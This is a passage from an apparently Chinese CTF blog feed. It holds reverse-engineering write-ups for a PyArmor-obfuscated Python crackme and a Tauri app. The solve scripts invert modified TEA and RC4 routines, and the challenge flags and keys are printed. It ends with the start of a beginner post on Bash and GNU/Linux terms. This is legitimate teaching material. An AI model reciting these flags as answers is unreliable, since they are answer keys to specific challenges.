&lt;p&gt;每个pyarmor-obfuscated app文件夹内一般都会有一个&lt;code&gt;pyarmor_runtime.pyd&lt;/code&gt;文件, 运行&lt;code&gt;shot.py&lt;/code&gt;的时候需要&lt;code&gt;-r&lt;/code&gt;指定&lt;code&gt;pyarmor_runtime.pyd&lt;/code&gt;; 同时需要补一下文件头才能被工具扫, 后六位和给的pyarmor_runtime_000000文件夹名字后六位相同:&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;image-20251011214559022&quot; width=&quot;413&quot; height=&quot;80&quot; src=&quot;https://sh10rl.top/_astro/image-20251011214559022.CYoRLbo4_Z15wFsy.webp&quot;&gt;&lt;/figure&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt; python shot.py ./ -r C:\path\to\src\pyarmor_runtime_000000\pyarmor_runtime.pyd&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;看解出来的&lt;code&gt;src.py.1shot.cdc.py&lt;/code&gt;有KSA和PRGA; print一下&lt;code&gt;make.__doc__&lt;/code&gt;:&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;image-20251011221806974&quot; width=&quot;577&quot; height=&quot;146&quot; src=&quot;https://sh10rl.top/_astro/image-20251011221806974.Dv8YqYSy_Z2irAdf.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;差key, 用decompyle3, pycdc都不行, 只有一部分, 用&lt;a href=&quot;https://pylingual.io/&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;pylingual&lt;/a&gt;:&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;image-20251011222712640&quot; width=&quot;423&quot; height=&quot;275&quot; src=&quot;https://sh10rl.top/_astro/image-20251011222712640.JdsXxj9__CkSA.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;&lt;code&gt;jinhsi&lt;/code&gt;内部调用逻辑不全, 接下来两步:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;根据pylingual + das信息丢给LLM还原程序源代码, 还原的程序缺&lt;code&gt;Carlotta&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;写个AST截胡脚本把&lt;code&gt;Carlotta&lt;/code&gt;截下来&lt;/li&gt;
&lt;/ol&gt;
&lt;figure&gt;&lt;img alt=&quot;image-20251011223428222&quot; width=&quot;1045&quot; height=&quot;118&quot; src=&quot;https://sh10rl.top/_astro/image-20251011223428222.Cqj4D9Qq_1W0xHU.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;还原的源码, 逻辑和源程序完全一致:&lt;/p&gt;
&lt;div class=&quot;code folded&quot;&gt;&lt;pre&gt;&lt;code&gt;# -*- coding: utf-8 -*-
# Reconstructed from your disassembly

import ast
import types  # 按原文件导入，但未直接使用
import sys

def Carlotta(o0oC, o0oD, o0oE, o0oF):
    o0oH = 305419896
    o0oI = o0oE &amp;#x26; 65535
    o0oJ = o0oE &gt;&gt; 16 &amp;#x26; 65535
    o0oK = (o0oE ^ o0oF) &amp;#x26; 65535
    o0oL = (o0oE &gt;&gt; 8 ^ o0oF) &amp;#x26; 65535
    o0oM = o0oH * (o0oF + 1) &amp;#x26; 4294967295
    o0oN = (o0oD &amp;#x3C;&amp;#x3C; 5) + o0oI ^ o0oD + o0oM ^ (o0oD &gt;&gt; 5) + o0oJ
    o0oP = o0oC + o0oN &amp;#x26; 65535
    o0oN = (o0oP &amp;#x3C;&amp;#x3C; 5) + o0oK ^ o0oP + o0oM ^ (o0oP &gt;&gt; 5) + o0oL
    o0oQ = o0oD + o0oN &amp;#x26; 65535
    return (o0oP, o0oQ)

def _tea_helper_func(a, b, c):
    magic1 = (a ^ b) &amp;#x26; 3735928559
    magic2 = c &amp;#x3C;&amp;#x3C; 3 | a &gt;&gt; 5
    return magic1 + magic2 - (b &amp;#x26; 3405691582) &amp;#x26; 4294967295

def _fake_tea_round(x, y):
    return (x * 2654435769 ^ y + 305419896) &amp;#x26; 4294967295
_tea_magic_delta = 2654435769 ^ 305419896
_tea_dummy_keys = [4369, 8738, 13107, 17476]


# 正确答案（9 个整数）
o0o0o0 = [
    105084753,
    3212558540,  # 0xBF7BC0CC
    351342182,
    844102737,
    2002504052,
    356536456,
    2463183122,  # 0x92D13112
    615034880,
    1156203296,
]

def changli(o0o0o1, o0o0o2, o0o0o3):
    &quot;&quot;&quot;
    TEA 风格的 32 轮混淆（与反汇编一致）
    &quot;&quot;&quot;
    o0o0o4 = 0x87456123  # 2269471011
    o0o0o5 = o0o0o3 &amp;#x26; 0xFFFFFFFF
    o0o0o6 = ((o0o0o3 &gt;&gt; 8) ^ 0x12345678) &amp;#x26; 0xFFFFFFFF
    o0o0o7 = ((o0o0o3 &amp;#x3C;&amp;#x3C; 4) ^ 0x87654321) &amp;#x26; 0xFFFFFFFF
    o0o0o8 = ((o0o0o3 &gt;&gt; 12) ^ 0xABCDEF00) &amp;#x26; 0xFFFFFFFF

    o0o0o9  = o0o0o1 &amp;#x26; 0xFFFFFFFF
    o0o0o10 = o0o0o2 &amp;#x26; 0xFFFFFFFF
    o0o0o11 = 0

    for _ in range(32):
        o0o0o11 = (o0o0o11 + o0o0o4) &amp;#x26; 0xFFFFFFFF
        o0o0o9  = (
            o0o0o9
            + (((o0o0o10 &amp;#x3C;&amp;#x3C; 4) + o0o0o5) ^ (o0o0o10 + o0o0o11) ^ ((o0o0o10 &gt;&gt; 4) + o0o0o6))
        ) &amp;#x26; 0xFFFFFFFF
        o0o0o10 = (
            o0o0o10
            + (((o0o0o9 &amp;#x3C;&amp;#x3C; 4) + o0o0o7) ^ (o0o0o9 + o0o0o11) ^ ((o0o0o9 &gt;&gt; 4) + o0o0o8))
        ) &amp;#x26; 0xFFFFFFFF

    return (o0o0o9, o0o0o10)

def Shorekeeper(o0o0o12):
    &quot;&quot;&quot;
    拆 32 位为 (高 16, 低 16)
    &quot;&quot;&quot;
    o0o0o13 = o0o0o12 &gt;&gt; 16
    o0o0o14 = o0o0o12 &amp;#x26; 0xFFFF
    return (o0o0o13, o0o0o14)

def Kathysia(o0o0o15, o0o0o16):
    &quot;&quot;&quot;
    合并为 32 位
    &quot;&quot;&quot;
    return (o0o0o15 &amp;#x3C;&amp;#x3C; 16) | (o0o0o16 + 0)

def shouan(o0o0o32):
    &quot;&quot;&quot;
    传入 9 个整数的 key，做一轮拆分→Carlotta→合并，
    然后再做 8 次相邻 pair 的 changli 混淆，返回 9 个整数。
    &quot;&quot;&quot;
    if len(o0o0o32) != 9:
        raise ValueError(&quot;需要输入9个key&quot;)

    o0o0o35 = []
    for o0o0o49, o0o0o34 in enumerate(o0o0o32):
        o0o0o33 = o0o0o49 * o0o0o49
        o0o0o36, o0o0o37 = Shorekeeper(o0o0o34)
        o0o0o38, o0o0o39 = Carlotta(o0o0o36, o0o0o37, 2025 + o0o0o49, o0o0o33)
        o0o0o40 = Kathysia(o0o0o38, o0o0o39)
        o0o0o35.append(o0o0o40)

    o0o0o41 = []
    for i in range(8):
        r1, r2 = changli(o0o0o35[i], o0o0o35[i + 1], 2025)
        o0o0o35[i]     = r1
        o0o0o35[i + 1] = r2
        o0o0o41.append(o0o0o35[i])

    o0o0o41.append(o0o0o35[8])
    return o0o0o41

def jinhsi():
    print(&quot;请输入9个数字:&quot;)
    try:
        o0o0o46 = input().strip()
        if &quot;,&quot; in o0o0o46:
            o0o0o42 = o0o0o46.split(&quot;,&quot;)
        else:
            o0o0o42 = o0o0o46.split()

        if len(o0o0o42) != 9:
            print(&quot;错误: 需要输入9个数&quot;)
            return

        o0o0o43 = []
        for o0o0o44 in o0o0o42:
            o0o0o45 = int(o0o0o44.strip())
            o0o0o43.append(o0o0o45)

        o0o0o48 = shouan(o0o0o43)
        if o0o0o48 == o0o0o0:
            print(&quot;正确!这是真正的key&quot;)
            sys.exit(0)
        else:
            print(&quot;错误!这不是正确的key&quot;)
            print(f&quot;你的结果: {o0o0o48}&quot;)
            sys.exit(0)

    except ValueError:
        print(f&quot;错误: &apos;{o0o0o44}&apos; 不是有效的整数&quot;)
    except Exception as e:
        print(f&quot;发生错误: {e}&quot;)

if __name__ == &apos;__main__&apos;:
    jinhsi()
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;figure&gt;&lt;img alt=&quot;image-20251011223703571&quot; width=&quot;1042&quot; height=&quot;123&quot; src=&quot;https://sh10rl.top/_astro/image-20251011223703571.DkC1NRqn_ZXYWBD.webp&quot;&gt;&lt;/figure&gt;
&lt;figure&gt;&lt;img alt=&quot;image-20251011223757461&quot; width=&quot;821&quot; height=&quot;84&quot; src=&quot;https://sh10rl.top/_astro/image-20251011223757461.BKQ2_YML_Z1qnejO.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;写脚本解出key&lt;code&gt;1234, 5678, 9123, 4567, 8912, 3456, 7891, 2345, 6789&lt;/code&gt;, 进而解出flag:&lt;/p&gt;
&lt;div class=&quot;code folded&quot;&gt;&lt;pre&gt;&lt;code&gt;# -*- coding: utf-8 -*-

MASK32 = 0xFFFFFFFF

# 题目给定的最终比对列表 o0o0o0
TARGET = [
    105084753,
    3212558540,
    351342182,
    844102737,
    2002504052,
    356536456,
    2463183122,
    615034880,
    1156203296
]

# ---------- changli 的 32 轮“解密”（逆向） ----------
def changli_decrypt(v0, v1, c):
    delta = 2269471011
    k0 = c &amp;#x26; MASK32
    k1 = ((c &gt;&gt; 8) ^ 305419896) &amp;#x26; MASK32
    k2 = ((c &amp;#x3C;&amp;#x3C; 4) ^ 2271560481) &amp;#x26; MASK32
    k3 = ((c &gt;&gt; 12) ^ 2882400000) &amp;#x26; MASK32
    s = (delta * 32) &amp;#x26; MASK32
    v0 &amp;#x26;= MASK32
    v1 &amp;#x26;= MASK32
    for _ in range(32):
        v1 = (v1 - (((v0 &amp;#x3C;&amp;#x3C; 4) + k2) ^ (v0 + s) ^ ((v0 &gt;&gt; 4) + k3))) &amp;#x26; MASK32
        v0 = (v0 - (((v1 &amp;#x3C;&amp;#x3C; 4) + k0) ^ (v1 + s) ^ ((v1 &gt;&gt; 4) + k1))) &amp;#x26; MASK32
        s = (s - delta) &amp;#x26; MASK32
    return v0, v1

# ---------- Carlotta 的闭式逆向 ----------
def invert_carlotta(P, Q, idx):
    # E=2025+idx, F=idx^2, H=0x12345678
    E = 2025 + idx
    F = idx * idx
    H = 305419896

    I = E &amp;#x26; 0xFFFF
    J = (E &gt;&gt; 16) &amp;#x26; 0xFFFF
    K = (E ^ F) &amp;#x26; 0xFFFF
    L = ((E &gt;&gt; 8) ^ F) &amp;#x26; 0xFFFF
    M = (H * (F + 1)) &amp;#x26; 0xFFFFFFFF

    def f0(D):
        return (((D &amp;#x3C;&amp;#x3C; 5) + I) ^ (D + M) ^ ((D &gt;&gt; 5) + J))
    def f1(Pv):
        return (((Pv &amp;#x3C;&amp;#x3C; 5) + K) ^ (Pv + M) ^ ((Pv &gt;&gt; 5) + L))

    N1 = f1(P)
    D  = (Q - N1) &amp;#x26; 0xFFFF
    N0 = f0(D)
    C  = (P - N0) &amp;#x26; 0xFFFF
    return C, D

# ---------- 主过程：先逆 changli，再逆 Carlotta ----------
def recover_inputs():
    # 1) 逆 8 次链式 changli，复原 Carlotta 拼回的 9 个 32 位数
    arr = TARGET[:]  # 最终数组
    for i in range(7, -1, -1):
        arr[i], arr[i+1] = changli_decrypt(arr[i], arr[i+1], 2025)

    # 2) 对每个 32 位数（高16= P, 低16= Q）闭式反推 (C,D)，得到原始输入 v=(C&amp;#x3C;&amp;#x3C;16)|D
    res = []
    for idx, val in enumerate(arr):
        P = (val &gt;&gt; 16) &amp;#x26; 0xFFFF
        Q = val &amp;#x26; 0xFFFF
        C, D = invert_carlotta(P, Q, idx)
        v = ((C &amp;#x26; 0xFFFF) &amp;#x3C;&amp;#x3C; 16) | (D &amp;#x26; 0xFFFF)
        res.append(v)
    return res

if __name__ == &quot;__main__&quot;:
    keys = recover_inputs()
    print(&quot;Recovered 9 numbers (comma-separated):&quot;)
    print(&quot;, &quot;.join(str(x) for x in keys))
# 1234, 5678, 9123, 4567, 8912, 3456, 7891, 2345, 6789&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;code folded&quot;&gt;&lt;pre&gt;&lt;code&gt;def ksa(key):
    key_len = len(key)
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + key[i % key_len]) % 256
        S[i], S[j] = S[j], S[i]
    return S

def prga(S, data_len):
    i = 0
    j = 0
    keystream = []
    for index in range(data_len):
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        t = (S[i] + S[j] + index % 23) % 256
        keystream.append(S[t])
    return keystream

cipher = [
    1473,
    3419,
    9156,
    1267,
    9185,
    2823,
    7945,
    618,
    7036,
    2479,
    5791,
    1945,
    4639,
    1548,
    3634,
    3502,
    2433,
    1407,
    1263,
    3354,
    9274,
    1085,
    8851,
    3022,
    8031,
    734,
    6869,
    2644,
    5798,
    1862,
    4745,
    1554,
    3523,
    3631,
    2512,
    1499,
    1221,
    3226,
    9237]


flag = cipher
fuck_key = [1234, 5678, 9123, 4567, 8912, 3456, 7891, 2345, 6789]
t0 = [i % 0xff for i in fuck_key]
key = prga(ksa(bytes(t0)), len(cipher))
for i in range(len(cipher)):
    t1 = fuck_key[i % 9] if i % 2 == 0 else (fuck_key[i % 9] * 2) % 0xFFF
    flag[i] ^= key[i] + t1

print(bytes(flag))
# flag{8561a-852sad-7561b-asd-4896-qwx56}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id=&quot;tauri&quot;&gt;Tauri&lt;/h2&gt;
&lt;p&gt;用&lt;a href=&quot;https://crates.io/crates/tauri-dumper&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Tauri Dumper&lt;/a&gt;:&lt;/p&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;$ tauri-dumper.exe -i easyTauri.exe -o C:\path\to\your\dump&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;用&lt;a href=&quot;https://github.com/relative/synchrony?tab=readme-ov-file&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;synchrony&lt;/a&gt;去混淆&lt;code&gt;actuator.js&lt;/code&gt;发现里面调了一个native函数greet:&lt;/p&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;async function _0x9a2c6e7() {
    greetInputEl = document.querySelector(&apos;#greet-input&apos;);
    greetMsgEl = document.querySelector(&apos;#greet-msg&apos;);
    let getFlag = greetInputEl.value;
    const ciphertext = rc4(&apos;SadTongYiAiRC4HH&apos;, getFlag);
    greetMsgEl.textContent = await invoke(&apos;ipc_command&apos;, { name: uint8ArrayToBase64(ciphertext) });
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;搜&lt;code&gt;ipc_command&lt;/code&gt;, 或者base64表&lt;code&gt;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/&lt;/code&gt;; 逆的时候注意Rust的Borrow机制, 值存储在堆上, 被一个binding (实际是个三指针结构体: &lt;code&gt;cap, ptr, len&lt;/code&gt;. i.e, &lt;code&gt;容量, buffer起始, 当前长度&lt;/code&gt;)引用.&lt;/p&gt;
&lt;p&gt;整体逻辑为&lt;code&gt;hacked_RC4&lt;/code&gt; + &lt;code&gt;b64&lt;/code&gt; + &lt;code&gt;hacked_tea&lt;/code&gt; + &lt;code&gt;_byteswap_ulong&lt;/code&gt; + &lt;code&gt;b64&lt;/code&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;RC4 改了S盒初始化&lt;/li&gt;
&lt;li&gt;TEA改了初始&lt;code&gt;sum = 0x7E3997B7&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;code folded&quot;&gt;&lt;pre&gt;&lt;code&gt;#include &amp;#x3C;stdio.h&gt;
#include &amp;#x3C;stdlib.h&gt;
#include &amp;#x3C;stdint.h&gt;
#include &amp;#x3C;string.h&gt;

#define ARRLEN(arr) (int)(sizeof(arr) / sizeof(arr[0]))
#define DELTA 0x7E3997B7

void TEA_decrypt(uint32_t v[2], const uint32_t key[4])
{
    uint32_t v0 = _byteswap_ulong(v[0]), v1 = _byteswap_ulong(v[1]), delta = 0x7E3997B7, sum = delta * 33;
    for (int i = 0; i &amp;#x3C; 32; i++)
    { // 32 rounds
        sum -= delta;
        v1 -= ((v0 &amp;#x3C;&amp;#x3C; 4) + key[2]) ^ (v0 + sum) ^ ((v0 &gt;&gt; 5) + key[3]);
        v0 -= ((v1 &amp;#x3C;&amp;#x3C; 4) + key[0]) ^ (v1 + sum) ^ ((v1 &gt;&gt; 5) + key[1]);
    }
    v[0] = v0;
    v[1] = v1;
}

void print(uint8_t *data, int len)
{
    int i;
    for (i = 0; i &amp;#x3C; len; ++i)
    {
        printf(&quot;%02X &quot;, data[i]);
        if ((i + 1) % 16 == 0 || i == len - 1)
        {
            int j;
            printf(&quot; &quot;);
            for (j = (i / 16) * 16; j &amp;#x3C;= i; ++j)
            {
                printf(&quot;%c&quot;, (data[j] &gt;= 32 &amp;#x26;&amp;#x26; data[j] &amp;#x3C;= 126) ? data[j] : &apos;.&apos;);
            }
            printf(&quot;\n&quot;);
        }
    }
    printf(&quot;%s&quot;, data);
}

uint8_t cipher[] = {0x75,0xa1,0x7f,0x0e,0x44,0x31,0x8b,0x11,0xa6,0xce,0x7d,0x1a,0x3c,0x55,0xb6,0x13,0x63,0xe1,0x33,0xc3,0x5a,0x6d,0x1b,0x4b,0x8e,0x9e,0xa9,0x23,0xe7,0x3c,0x4e,0xd6,0x37,0x58,0xcb,0x8f,0xc5,0xf9,0xef,0x94,0x0b,0x29,0xf5,0xa9,0x6e,0x7f,0xc9,0xe8,0x67,0x2f,0xd3,0xe9,0x2c,0xfd,0x0c,0x98};
uint32_t key[] = {0x636C6557, 0x74336D4F, 0x73757230, 0x55615474};
int main(){
	for(int i = 0;i &amp;#x3C; ARRLEN(cipher);i += 8){
        TEA_decrypt((uint32_t *)&amp;#x26;cipher[i], key);
    }
    print(cipher, ARRLEN(cipher));
	return 0;
}
// jmyHBntjPmBiE9k5OTl+7WHUjc6aLHY1ZThmMWRhvUAxZIVhZn0=&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;def ksa(key):
    key_len = len(key)
    S = [0] * 256
    j = 0
    for i in range(256):
        S[i] = i
        j = (j + S[i] + key[i % key_len]) % 256
        S[i], S[j] = S[j], S[i]
    return S

def prga(S, data_len):
    i = 0
    j = 0
    keystream = []
    for _ in range(data_len):
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        t = (S[i] + S[j]) % 256
        keystream.append(S[t])
    return keystream

def rc4(key, data):
    result = []
    keystream = prga(ksa(key), len(data))
    for c, k in zip(data , keystream):
        result.append(c ^ k)
    return bytes(result)

cipher = [0x8e,0x6c,0x87,0x06,0x7b,0x63,0x3e,0x60,0x62,0x13,0xd9,0x39,0x39,0x39,0x7e,0xed,0x61,0xd4,0x8d,0xce,0x9a,0x2c,0x76,0x35,0x65,0x38,0x66,0x31,0x64,0x61,0xbd,0x40,0x31,0x64,0x85,0x61,0x66,0x7d]
key = b&apos;SadTongYiAiRC4HH&apos;

print(bytes(rc4(key, cipher)))
# flag{cf8be09b1c8a415f8b5e8f1dac71d4af}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content:encoded><category>CTF</category></item><item><title>关于Bash和Linux</title><link>https://sh10rl.top/posts/bash-linux-basics/</link><guid isPermaLink="true">https://sh10rl.top/posts/bash-linux-basics/</guid><description>出题顺手写的文档, 帮助新生了解一些计算机基础</description><pubDate>Fri, 10 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;bourne-again-shell&quot;&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=dc0hg7w8rbs&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Bourne&lt;/a&gt; Again SHell&lt;/h2&gt;
&lt;p&gt;来自&lt;a href=&quot;https://www.gnu.org/gnu/about-gnu.html&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;GNU Project&lt;/a&gt;, 是 Bourne shell (sh) 加强版, 属于&lt;a href=&quot;https://en.wikipedia.org/wiki/Shell_(computing)&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Shell&lt;/a&gt;大类, &lt;em&gt;本质上是个程序&lt;/em&gt;, 运行在&lt;a href=&quot;https://www.gnu.org/gnu/gnu.html&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;GNU操作系统&lt;/a&gt;上, 作为用户与操作系统用户空间程序交互的接口.&lt;/p&gt;
&lt;p&gt;说这些可能会让你一头雾水. 所以, 先用再说. 如果你是Windows系统, 需要使用&lt;a href=&quot;https://en.wikipedia.org/wiki/Windows_Subsystem_for_Linux&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;WSL&lt;/a&gt;&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot; id=&quot;user-content-fnref-2&quot; aria-describedby=&quot;footnote-label&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;安装使用Bash的GNU/Linux发行版 (推荐&lt;a href=&quot;https://www.google.com/search?q=Ubuntu&amp;#x26;oq=Ubuntu&amp;#x26;gs_lcrp=EgZjaHJvbWUyEQgAEEUYORhDGLEDGIAEGIoFMgwIARAjGCcYgAQYigUyDAgCECMYJxiABBiKBTIMCAMQABhDGIAEGIoFMgwIBBAAGEMYgAQYigUyBggFEEUYPDIGCAYQRRg9MgYIBxBFGDzSAQc5MzJqMGo5qAIAsAIA&amp;#x26;sourceid=chrome&amp;#x26;ie=UTF-8&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Ubuntu&lt;/a&gt;或&lt;a href=&quot;https://www.google.com/search?q=Debian&amp;#x26;sca_esv=9b12a356d0a089c1&amp;#x26;sxsrf=AE3TifPPcrl0meP_ggqszbTNZ-ve4H2z6A%3A1754742423841&amp;#x26;ei=lz6XaNuQM_SaseMP3raf0AU&amp;#x26;ved=0ahUKEwibuOH23P2OAxV0TWwGHV7bB1oQ4dUDCBI&amp;#x26;uact=5&amp;#x26;oq=Debian&amp;#x26;gs_lp=Egxnd3Mtd2l6LXNlcnAiBkRlYmlhbjIKECMYgAQYJxiKBTIEECMYJzIQEAAYgAQYsQMYQxiDARiKBTIKEAAYgAQYQxiKBTIKEAAYgAQYQxiKBTIKEAAYgAQYQxiKBTIKEAAYgAQYQxiKBTIKEAAYgAQYQxiKBTIKEAAYgAQYQxiKBTIKEAAYgAQYQxiKBUjET1DTRViqTnADeAGQAQCYAY8BoAHABqoBAzAuNrgBA8gBAPgBAZgCCaAC5gaoAhTCAgcQIxiwAxgnwgIKEAAYsAMY1gQYR8ICBxAjGCcY6gLCAhMQABiABBhDGLQCGIoFGOoC2AEBwgIOEC4YgAQYsQMY0QMYxwHCAgsQLhiABBjRAxjHAcICExAuGIAEGLEDGNEDGEMYxwEYigWYAwbxBdNznGHXYTbLiAYBkAYKugYGCAEQARgBkgcDMy42oAeuN7IHAzAuNrgH2AbCBwUwLjIuN8gHIA&amp;#x26;sclient=gws-wiz-serp&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Debian&lt;/a&gt;等). 过程不难, 可以参照&lt;a href=&quot;https://learn.microsoft.com/en-us/windows/wsl/install&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;官方文档&lt;/a&gt;操作&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot; id=&quot;user-content-fnref-1&quot; aria-describedby=&quot;footnote-label&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;; 如果你是GNU/Linux系统, 想必你应该熟悉一些Bash的基本命令了. 首先在&lt;a href=&quot;https://199604.com/dev/docs/bash.html&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;这里&lt;/a&gt;看看bash都有哪些指令. 另外, 在mini赛题中会出现ELF格式的文件, 需要在GNU/Linux环境 (原生, WSL, 容器或虚拟机) 上进行运行和调试.&lt;/p&gt;
&lt;h2 id=&quot;了解bash&quot;&gt;了解Bash&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;如果想要系统学习Bash以及相关基础, 推荐: &lt;a href=&quot;https://missing.csail.mit.edu/&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;The Missing Semester of Your CS Education&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;或者说直接下手开干, &lt;em&gt;大语言模型&lt;/em&gt; 是不错的老师&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;当然Bash只是Shell家族中最广泛使用的一员, 还有一些和它平起平坐的Shell: &lt;strong&gt;&lt;a href=&quot;https://ohmyz.sh/&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Zsh&lt;/a&gt;&lt;/strong&gt;, &lt;strong&gt;&lt;a href=&quot;https://github.com/nushell/nushell&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;nushell&lt;/a&gt;&lt;/strong&gt;, &lt;strong&gt;KornShell&lt;/strong&gt;, &lt;strong&gt;Tcsh&lt;/strong&gt;, &lt;strong&gt;Fish&lt;/strong&gt; 等等.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;一些问题&quot;&gt;一些问题&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Terminal / Shell / CLI / Bash 都是一个东西吗?&lt;/li&gt;
&lt;li&gt;Linux, GNU/Linux, GNU Project, GNU Operating System 都是一个东西吗?&lt;/li&gt;
&lt;li&gt;编译C的编译器&lt;code&gt;gcc&lt;/code&gt;, &lt;code&gt;g++&lt;/code&gt;, 全称是什么? 属于什么?&lt;/li&gt;
&lt;li&gt;Unix和Unix-like的关系是什么?&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;Terminal / Shell / CLI / Bash 都是一个东西吗？&lt;/strong&gt;&lt;/em&gt;    当然———不是, 他们相关, 但不属于一个层级, Terminal (&lt;strong&gt;终端程序&lt;/strong&gt;, 是个程序&lt;sup&gt;&lt;a href=&quot;#user-content-fn-7&quot; id=&quot;user-content-fnref-7&quot; aria-describedby=&quot;footnote-label&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;, 负责显示和输入) 提供一个界面让你访问, Shell (&lt;strong&gt;命令解释器&lt;/strong&gt;) 是一个抽象的集合, 具体包括Bash等等, 他们既可以让你在终端中敲命令与操作系统交互&lt;sup&gt;&lt;a href=&quot;#user-content-fn-6&quot; id=&quot;user-content-fnref-6&quot; aria-describedby=&quot;footnote-label&quot;&gt;4&lt;/a&gt;&lt;/sup&gt;, 还能写成脚本批量执行 (Bash既是交互式命令解释器, 也是脚本语言&lt;sup&gt;&lt;a href=&quot;#user-content-fn-4&quot; id=&quot;user-content-fnref-4&quot; aria-describedby=&quot;footnote-label&quot;&gt;5&lt;/a&gt;&lt;/sup&gt;, 暂且把它想成Python&lt;sup&gt;&lt;a href=&quot;#user-content-fn-5&quot; id=&quot;user-content-fnref-5&quot; aria-describedby=&quot;footnote-label&quot;&gt;6&lt;/a&gt;&lt;/sup&gt;); &lt;a href=&quot;https://en.wikipedia.org/wiki/Command-line_interface#:~:text=a%20means%20of%20interacting%20with%20software%20via%20commands%20%E2%80%93%20each%20formatted%20as%20a%20line%20of%20text&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;CLI&lt;/a&gt; (&lt;strong&gt;命令行界面&lt;/strong&gt;) 更抽象, 是一种交互方式. Shell及其他的CLI程序 (e.g., &lt;code&gt;git&lt;/code&gt;, &lt;code&gt;curl&lt;/code&gt; 等等) 是CLI的具体化, 都是使用line-by-line的命令行方式与软件本身交互.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;Linux, GNU/Linux, GNU Project, GNU Operating System 都是一个东西吗?&lt;/strong&gt;&lt;/em&gt;    也不是, &lt;strong&gt;Linux&lt;/strong&gt;严格来讲是Linux内核 (组成操作系统的核心); &lt;strong&gt;GNU/Linux&lt;/strong&gt; = Linux 内核&lt;sup&gt;&lt;a href=&quot;#user-content-fn-3&quot; id=&quot;user-content-fnref-3&quot; aria-describedby=&quot;footnote-label&quot;&gt;7&lt;/a&gt;&lt;/sup&gt; + GNU 用户空间的工具们 (包括Bash); &lt;strong&gt;GNU Project&lt;/strong&gt;顾名思义是个项目, 由 Richard Stallman 发起, 感兴趣可以看看&lt;a href=&quot;https://www.gnu.org/gnu/thegnuproject.en.html&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;官方的介绍&lt;/a&gt;; &lt;strong&gt;GNU Operating System&lt;/strong&gt; = GNU Hurd内核 + GNU 用户空间的工具们 (包括Bash), 虽然单说Linux并不是完整的操作系统, 但随着人们的误解和这么说的人越来越多, Linux也可以指代 GNU/Linux ,感兴趣可以看看&lt;a href=&quot;https://www.gnu.org/gnu/linux-and-gnu.html&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;GNU创始人的澄清&lt;/a&gt;.&lt;/p&gt;
